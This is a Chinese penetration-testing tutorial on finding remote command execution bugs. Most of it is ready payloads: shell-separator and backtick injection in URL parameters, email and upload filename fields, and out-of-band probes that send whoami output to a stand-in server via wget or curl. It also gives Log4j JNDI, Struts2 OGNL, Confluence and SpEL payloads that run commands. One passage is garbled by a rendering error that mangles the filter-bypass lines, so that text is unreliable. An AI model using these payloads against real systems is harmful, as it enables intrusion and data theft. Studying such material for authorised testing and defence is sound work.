天天看點

RCE遠端指令執行漏洞挖掘思路

作者:安全彙

RCE漏洞可能出現在哪些地方?

1.URL上

在url參數上,不僅僅可能存在ssrf漏洞,也有很大機率存在指令執行,很大可能調用系統指令如curl。

payload例子:

index.php?id=2;}phpinfo();/*

ttp://www.xxx.com/cmd.php?cmd=phpinfo()

比如通路到如下URL,在jsp後面嘗試加參數,比如path(什麼參數需要試)

http://x.x.x.x:28076/file/dirFiles.jsp?path=

發現show.jsp存在任意檔案讀取漏洞,URL:http://x.x.x.x:28076/file/show.jsp?path=/etc/passwd

最初想通過添加雙引号閉合if條件判斷參數注入指令,沒有成功。

payload:/etc/passwd" ];ls;then echo 1;fi;if [ -e "123.txt;

經過多次測試,最終可用反引号``或者$()進行指令執行,如`ifconfig`:

payload:"`ifconfig |xargs`"

指令結果的回顯是因為判斷不存在FILA_PATH檔案名的檔案後,會把變量值傳回

echo "the file($FILE_PATH) dose not exist!"

拓展知識:Linuxbash中可以使用反引号``、$()等方式将bash指令的執行結果儲存到變量中,如a=$(ifconfig):

2.所有變量:所有變量/送出的資料都要嘗試

測試payload:

& 不管前後指令是否執行成功都會執行前後指令

&& 具有短路效果。 前面的指令執行成功才能執行後面的指令

| 管道符, 上一條指令的輸出,作為下一條指令參數(輸入) 。在拼接時,無論左邊是false還是true,右邊都會執行

|| 具有短路效果。 前面的指令執行不成功才能執行後面的指令

payload例子

ping 127.0.0.1&ipconfig #在linux系統裡是幾乎同時執行

ping 127.0.0.1 && ipconfig #在linux系統裡執行完前面再去執行後面

ping 127.0.0.1 &;& ipconfig #其中**;**會被解析為空

ping 127.0.0.1 || ipconfig #在linux中兩個**||** = or

ping 127.0.0.1 | ipconfig #在linux中**|**叫管道符,把前面一個指令執行的結果給後面的指令執行

再測試SSRF的地方嘗試測試指令執行

檔案下載下傳處就很大機率會調用wget!在檢視圖檔,檢視檔案等地方可能會使用cat指令等,在檔案删除上,我們可能會用到rm指令!

嘗試在url,xxxurl等參數下測試指令執行

如輸入http://伺服器ip/ 采用nc監聽探測是否通路。

嘗試 輸入http:// sleep 5.伺服器位址/ 出現延遲就說明存在注入

嘗試輸入 http://伺服器位址/$(whoami)

嘗試輸入http://whoami.伺服器位址

現在搭建網站多以linux做網站伺服器,以linux為例子講解:

作為曾經寫過一段時間業務代碼的我來說,在挖掘指令執行漏洞時,我經常思考,哪些地方更有可能存在指令執行漏洞呢?

網站郵箱注冊,填寫郵箱,郵箱驗證處,是否可能存在第三方接口的調用

payload:”email”: `wget%20xxx.ceye.io/xxxx`@qq.com”

3.所有頭:cookie的變量

4.檔案上傳處:存在問題參數filename

完整資料包:

POST /index.php HTTP/1.1

Content-Length: 364

Content-Type: multipart/form-data; boundary=-----AcunetixBoundary_NHDUMYQDQJ

Host: xxx.com

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36

Accept: */*

-------AcunetixBoundary_NHDUMYQDQJ

Content-Disposition: form-data; name="submit"

submit

-------AcunetixBoundary_NHDUMYQDQJ

Content-Disposition: form-data; name="ver"

set|set&set

-------AcunetixBoundary_NHDUMYQDQJ

Content-Disposition: form-data; name="file"; filename=";set|set&set;"

Content-Type: image/png

-------AcunetixBoundary_NHDUMYQDQJ—

發包響應:

列出所有系統路徑。他這裡fuzz的技巧很好,一般我們測試指令注入都是|payload亦或是&payload,亦或是;payload,他這裡把三種測試方法都歸到一塊變成: ;payload|payload&payload

payload可以是直接回顯的set或者是ls等參數,也可以是遠端curl,wget探測!

凡是name,filename等參數是很容易爆發出指令執行漏洞的,這些參數是我們fuzz中重點的關照對象。我們一定要對這些點進行多測試!

逐個變量删除:篩選出伺服器對哪些變量進行處理

小總結:

Window下||和&

linux下||和&

Linux下過濾空格可以使用:I F S , {IFS},IFS,IFS,$IFSKaTeX parse error: Can't use function '\u' in math mode at position 15: 9 JSON格式下的測試: \̲u̲000awget\u0020 …(whoami)

curl http://伺服器位址/( w h o a m i ∣ b a s e 64 ) ′ w ′ g ′ e ′ t (whoami|base64) 'w'g'e't(whoami∣base64)′w′g′e′t{IFS}伺服器位址

Windows下rce探測:

ping %USERNAME%.伺服器位址

for /F %x in (‘whoami’) do start http://伺服器位址/%x(擷取計算機名)

for /F “delims=\ tokens=2” %i in (‘whoami’) do ping -n 1 %i.伺服器位址(擷取使用者名)

測試郵箱:wget%209伺服器位址/[email protected]

測試上傳:sleep 10filename

測試filenname:||wget%20伺服器位址

測試上傳處下的名稱: ;payload|payload&payload

各語言RCE的危險函數

1、PHP

assert

escapeshellarg

escapeshellcmd

exec

passthru

proc_close

proc_get_status

proc_nice

proc_open

proc_terminate

shell_exec

system

2、Python

system

popen

subprocess.call

spawn

3、Java

java.lang.Runtime.getRuntime().exec(command)

5.架構和中間件已曝光漏洞

以JAVA舉例:

rmi 遠端通信協定 一種機制,可以在相同計算機的不同程序或者不同計算機的程序,rmi傳輸是通過序列化方式進行傳輸的,rmi在接收經過序列化的對象(位元組流)會進行反序列化。

jndi:是應用程式指令接口,會加載執行個體對象,還可以通路現有的目錄和服務。一般是指令執行注入漏洞,反序列化漏洞也會關聯到。

LDAP:是一個通路線上目錄服務的協定,比如log4j2遠端代碼執行漏洞,可以使用相關的dnslog平台檢視,在dnslog平台獲得臨時域名,漏洞處輸入payload:${jndi:ldap://rbmanr.dnslog.cn/exp} 有回顯,說明存在該漏洞。jndi注入的地方可以找url或抓包請求頭比如X-Api-Version

ognl(對象圖導航語言),它是struts2架構裡面的第三方語言(即可以再别的地方用,struts2隻是拿過來了而已),它可以調用對象中的方法,參考https://www.cnblogs.com/ends-earth/p/10714068.html 不僅可以執行簡單計算(首先生成一個ongl上下文,context),ongl還可以對類和對象進行操作。通過context來put的對象都會放入value屬性中,穿進去的字元串就是該屬性中的key,通過#key的形式來指定對象,也可以修改屬性值和方法。有了這些基礎我們就可以來構造ognl表達式來執行我們的指令

struts2的ognl表達式注入漏洞,原理就是對使用者的參數沒有進行過濾,導緻惡意參數直接傳入到ognl的方法中指令執行。paylaod:${#[email protected]@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc.exe')}

${(#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

比如 Atlassian Confluence 遠端代碼執行漏洞。payload:${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

SpEL全稱是Spring Expression Language是一種強大的表達式語言。在Spring産品組合中,它是表達式計算的基礎。它支援在運作時查詢和操作對象圖,它可以與基于XML和基于注解的Spring配置還有bean定義一起使用。由于它能夠在運作時動态配置設定值,是以可以為我們節省大量Java代碼。

SpEL使用 #{…} 作為定界符,所有在大括号中的字元都将被認為是 SpEL表達式,我們可以在其中使用運算符,變量以及引用bean,屬性和方法。spel表達式注入漏洞,将輸入的參數直接當作表達式解析的參數,在解析過程中将造成指令執行。

http://127.0.0.1:8080/test?input=new%20java.lang.ProcessBuilder(%22/Applications/Calculator.app/Contents/MacOS/Calculator%22).start()

http://127.0.0.1:8080/hehe?payload=${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{47, 65, 112, 112, 108, 105, 99, 97, 116, 105, 111, 110, 115, 47, 67, 97, 108, 99, 117, 108, 97, 116, 111, 114, 46, 97, 112, 112, 47, 67, 111, 110, 116, 101, 110, 116, 115, 47, 77, 97, 99, 79, 83, 47, 67, 97, 108, 99, 117, 108, 97, 116, 111, 114})).start()}

比如Spring Cloud Gateway 遠端代碼執行漏洞

繼續閱讀